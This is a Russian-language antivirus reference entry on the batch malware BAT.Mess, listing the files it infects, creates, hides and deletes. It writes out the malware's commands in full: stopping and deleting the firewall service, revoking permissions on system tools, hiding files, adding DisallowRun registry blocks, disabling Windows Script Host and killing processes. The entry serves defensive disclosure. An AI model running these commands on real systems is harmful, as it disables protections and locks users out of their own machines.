BAT.Mess

Техническая информация

Для обеспечения автозапуска и распространения:

Заражает следующие исполняемые системные файлы:

<SYSTEM32>\setup.exe

Подменяет следующие исполняемые системные файлы:

<SYSTEM32>\dllcache\setup.exe файлом <SYSTEM32>\dllcache\setup.exe.new
<SYSTEM32>\setup.exe файлом <SYSTEM32>\setup.exe.new

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\cacls.exe c:\sc.exe /e /d system
<SYSTEM32>\cacls.exe c:\sc.exe /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h c:\cc.txt
<SYSTEM32>\cacls.exe %WINDIR%\\AppPatch\\nvunins.bat /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\AppPatch\\nvunins.bat
<SYSTEM32>\attrib.exe +s +r +h c:\sc.exe
<SYSTEM32>\attrib.exe +s +r +h c:\boot.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\62.exe
<SYSTEM32>\attrib.exe +s +r +h c:\cc.exe
<SYSTEM32>\attrib.exe +s +r +h c:\gz
<SYSTEM32>\attrib.exe +s +r +h c:\explorer
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\ /v DisallowRun /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_SZ /d 0 /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 3 /t REG_SZ /d tmd1.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 5 /t REG_SZ /d a.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 4 /t REG_SZ /d tmd2.exe /f
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\net.exe /e /d system
<SYSTEM32>\sc.exe delete sharedaccess
<SYSTEM32>\sc.exe stop sharedaccess
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\net1.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\net.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\net1.exe /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\f.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\gx.bat /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\mm.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\cmd.txt
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\mm1.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\gx.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\spcmd.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\wbem\\\dboysb.sys /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\zxxyyy.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\Ls09.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\tcpips.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\tmd.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\tmd2.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\a1.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\se.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\a2.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\tmd1.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\setup.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\c.txt
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\cc1.txt
<SYSTEM32>\cacls.exe %WINDIR%\\s.exe /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\s.exe
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 6 /t REG_SZ /d s.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 36 /t REG_SZ /d dboy250.bat /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 35 /t REG_SZ /d dboysb.bat /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 37 /t REG_SZ /d mm1.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 39 /t REG_SZ /d ft.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 38 /t REG_SZ /d cal.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 34 /t REG_SZ /d xiaoyi20093.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 30 /t REG_SZ /d ARP.BAT /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 29 /t REG_SZ /d zx.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 31 /t REG_SZ /d ff.BAT /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 33 /t REG_SZ /d xiaoyi20092.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 32 /t REG_SZ /d xiaoyi20091.exe /f
<SYSTEM32>\taskkill.exe /f /im cscript.exe
<SYSTEM32>\taskkill.exe /f /im iexplore.exe
<SYSTEM32>\taskkill.exe /f /im reg.exe
<SYSTEM32>\taskkill.exe /f /im cmd.exe
<SYSTEM32>\convert.exe C: /FS:NTFS
<SYSTEM32>\taskkill.exe /f /im cacls.exe
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 41 /t REG_SZ /d dvbs.vbs /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 40 /t REG_SZ /d cvbs.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 42 /t REG_SZ /d cc.bat /f
<SYSTEM32>\taskkill.exe /f /im attrib.exe
<SYSTEM32>\taskkill.exe /f /im ftp.exe
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 14 /t REG_SZ /d tcpips.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 13 /t REG_SZ /d tmd.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 15 /t REG_SZ /d 92.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 17 /t REG_SZ /d 94.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 16 /t REG_SZ /d 93.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 12 /t REG_SZ /d cc.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 8 /t REG_SZ /d 89.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 7 /t REG_SZ /d 88.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 9 /t REG_SZ /d 90.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 11 /t REG_SZ /d mn.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 10 /t REG_SZ /d 91.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 25 /t REG_SZ /d zzzz11.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 24 /t REG_SZ /d winsysup.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 26 /t REG_SZ /d 3389.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 28 /t REG_SZ /d xiaoyi.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 27 /t REG_SZ /d aa.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 23 /t REG_SZ /d 75.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 19 /t REG_SZ /d mm.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 18 /t REG_SZ /d 62.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 20 /t REG_SZ /d 520.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 22 /t REG_SZ /d 55.exe /f
<SYSTEM32>\reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\DisallowRun\ /v 21 /t REG_SZ /d b.exe /f
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\wbem\\\dboysb.sys
<SYSTEM32>\attrib.exe +r %WINDIR%\\system32\\dllcache\\cacls.exe
<SYSTEM32>\attrib.exe +r %WINDIR%\\system32\\cacls.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\cmd.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\ctfmon.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\cmd.exe
<SYSTEM32>\attrib.exe +r %WINDIR%\\system32\\dllcache\\attrib.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\reg.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cscript.exe /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\reg.exe
<SYSTEM32>\attrib.exe +r %WINDIR%\\system32\\attrib.exe
<SYSTEM32>\attrib.exe +r %WINDIR%\\system32\\sc.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\ras\\dels.bat /e /t /g everyone:F
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\export\\nvuninm.bat /e /t /g system:F
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\ras\\dels.bat /e /t /g system:F
<SYSTEM32>\attrib.exe +h +s +r %WINDIR%\\system32\\export\\nvuninm.bat
<SYSTEM32>\attrib.exe -h -s -r %WINDIR%\\system32\\export\\nvuninm.bat
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\export\\nvuninm.bat /e /t /g everyone:F
<SYSTEM32>\attrib.exe +r +s +h %WINDIR%\\system32\\net1.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\ctfmon.exe
<SYSTEM32>\attrib.exe +r +s +h %WINDIR%\\system32\\dllcache\\net1.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cacls.exe /e /t /g system:F
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cacls.exe /e /t /g everyone:F
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\command.com
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\ftp.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\command.com
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\doskey.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\doskey.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\ftp.exe
<SYSTEM32>\attrib.exe +h +s +r "<Имя диска съемного носителя>:\Program Files\Microsoft SQL Server\MSSQL\Binn\odsole70.dll"
<SYSTEM32>\attrib.exe +h +s +r "%PROGRAM_FILES%\Microsoft SQL Server\MSSQL\Binn\odsole70.dll"
<SYSTEM32>\attrib.exe +h +s +r "E:\Program Files\Microsoft SQL Server\MSSQL\Binn\odsole70.dll"
<SYSTEM32>\attrib.exe +h +s +r "G:\Program Files\Microsoft SQL Server\MSSQL\Binn\odsole70.dll"
<SYSTEM32>\attrib.exe +h +s +r "F:\Program Files\Microsoft SQL Server\MSSQL\Binn\odsole70.dll"
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\xcopy.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\regini.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\tftp.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cscript.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\tftp.exe /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\dllcache\\ftp.exe /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\dllcache\\regini.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\regini.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\ftp.exe /e /d everyone
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\ftp.exe /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\dllcache\\ftp.exe /e /d everyone
<SYSTEM32>\attrib.exe -r -s -h -a %WINDIR%\\ime\\imejp\\nvunins.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\xiaoyi20091.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\tmprun.bat /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\xiaoyi20092.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\arphrosr1.tbl
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\xiaoyi20093.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\tcpyi.exe /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\setuplc.exe /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\setuplc.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\tcpyi.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\tcpyi.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\tcpyi.sys /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cal.exe /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\cwssao.sys /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\ft.exe /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\dvbs.vbs /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cvbs.exe /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\cwssao.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\arphrosr2.tbl /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\arphrosr2.tbl
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\setuplc.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\forme.sys /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\forme.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\\wbem\\\b.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\\wbem\\\a.exe
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\sysme.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\zzxxxd.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\sysme.bat /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\debug\\kao.bat /e /d system
<SYSTEM32>\cacls.exe %WINDIR%\\ime\\imejp\\nvunins.bat /e /d system
<SYSTEM32>\attrib.exe +s +r +h +a %WINDIR%\\ime\\imejp\\nvunins.bat
<SYSTEM32>\attrib.exe -r -s -h -a %WINDIR%\\msapps\\del.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\debug\\kao.bat
<SYSTEM32>\attrib.exe +s +r +h +a %WINDIR%\\msapps\\del.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\cc.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cc.bat /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\setupla.sys
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\setupla.exe /e /d everyone
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\setupla.exe
<SYSTEM32>\cacls.exe %WINDIR%\\system32\\cc.bat /e /d system
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\system2.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\zzjkxs.sys
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\system1.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\cc.bat
<SYSTEM32>\attrib.exe +s +r +h %WINDIR%\\system32\\tencent.sys

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\cscript.exe

следующие пользовательские процессы:

iexplore.exe

Изменяет следующие настройки проводника Windows (Windows Explorer):

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'

Изменения в файловой системе:

Создает следующие файлы:

<SYSTEM32>\c.txt
<SYSTEM32>\cmd.txt
<SYSTEM32>\mm1.exe
<SYSTEM32>\cc1.txt
%WINDIR%\tmd2.exe
%WINDIR%\tmd1.exe
%WINDIR%\s.exe
<SYSTEM32>\tcpips.sys
<SYSTEM32>\zxxyyy.sys
<SYSTEM32>\spcmd.sys
<SYSTEM32>\Ls09.sys
<SYSTEM32>\mm.exe
<SYSTEM32>\f.exe
<SYSTEM32>\gx.sys
%WINDIR%\tmd.exe
C:\sc.exe
C:\gz
C:\explorer
C:\cc.txt
<DRIVERS>\acpiec1.sys
<SYSTEM32>\dllcache\setup.exe.new
%WINDIR%\AppPatch\nvunins.bat
%WINDIR%\se.exe
%WINDIR%\a2.exe
%WINDIR%\a1.exe
%WINDIR%\62.exe
<SYSTEM32>\setup.exe.new
C:\cc.exe
C:\boot.exe
<SYSTEM32>\zzjkxs.sys
<SYSTEM32>\zzxxxd.sys
<SYSTEM32>\sysme.bat
<SYSTEM32>\system2.bat
<SYSTEM32>\cc.bat
<SYSTEM32>\tencent.sys
<SYSTEM32>\system1.bat
%WINDIR%\ime\imejp\nvunins.bat
<SYSTEM32>\export\nvuninm.bat
%TEMP%\bt1015.bat
%WINDIR%\msapps\del.bat
<SYSTEM32>\wbem\b.exe
<SYSTEM32>\wbem\a.exe
%WINDIR%\Debug\kao.bat
<SYSTEM32>\cc.sys
<SYSTEM32>\arphrosr2.tbl
<SYSTEM32>\arphrosr1.tbl
<SYSTEM32>\xiaoyi20093.sys
<SYSTEM32>\setuplc.sys
<SYSTEM32>\wbem\dboysb.sys
%WINDIR%\cwssao.sys
<SYSTEM32>\forme.sys
<SYSTEM32>\setuplc.exe
<SYSTEM32>\setupla.exe
<SYSTEM32>\setupla.sys
<SYSTEM32>\tcpyi.sys
<SYSTEM32>\xiaoyi20092.sys
<SYSTEM32>\xiaoyi20091.sys
<SYSTEM32>\tcpyi.exe

Присваивает атрибут 'скрытый' для следующих файлов:

<SYSTEM32>\cmd.txt
<SYSTEM32>\mm1.exe
<SYSTEM32>\mm.exe
%WINDIR%\s.exe
<SYSTEM32>\cc1.txt
<SYSTEM32>\c.txt
<SYSTEM32>\f.exe
<SYSTEM32>\zxxyyy.sys
<SYSTEM32>\spcmd.sys
<SYSTEM32>\wbem\dboysb.sys
<SYSTEM32>\gx.sys
<SYSTEM32>\Ls09.sys
<SYSTEM32>\tcpips.sys
%WINDIR%\tmd1.exe
C:\gz
C:\explorer
C:\cc.exe
%WINDIR%\AppPatch\nvunins.bat
C:\cc.txt
C:\sc.exe
C:\boot.exe
%WINDIR%\a1.exe
%WINDIR%\tmd.exe
%WINDIR%\tmd2.exe
%WINDIR%\62.exe
%WINDIR%\se.exe
%WINDIR%\a2.exe
%WINDIR%\cwssao.sys
<SYSTEM32>\zzjkxs.sys
<SYSTEM32>\zzxxxd.sys
<SYSTEM32>\sysme.bat
<SYSTEM32>\tencent.sys
<SYSTEM32>\system1.bat
<SYSTEM32>\system2.bat
<SYSTEM32>\wbem\b.exe
%WINDIR%\ime\imejp\nvunins.bat
<SYSTEM32>\export\nvuninm.bat
%TEMP%\bt1015.bat
<SYSTEM32>\wbem\a.exe
%WINDIR%\Debug\kao.bat
%WINDIR%\msapps\del.bat
<SYSTEM32>\cc.bat
<SYSTEM32>\arphrosr1.tbl
<SYSTEM32>\xiaoyi20093.sys
<SYSTEM32>\xiaoyi20092.sys
<SYSTEM32>\forme.sys
<SYSTEM32>\setuplc.sys
<SYSTEM32>\arphrosr2.tbl
<SYSTEM32>\xiaoyi20091.sys
<SYSTEM32>\setupla.exe
<SYSTEM32>\setupla.sys
<SYSTEM32>\cc.sys
<SYSTEM32>\tcpyi.exe
<SYSTEM32>\tcpyi.sys
<SYSTEM32>\setuplc.exe

Удаляет следующие файлы:

<SYSTEM32>\command.com
%TEMP%\bt1015.bat
<SYSTEM32>\ias\dnary.mdb
<SYSTEM32>\ias\ias.mdb

Другое:

Ищет следующие окна:

ClassName: '' WindowName: ''

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней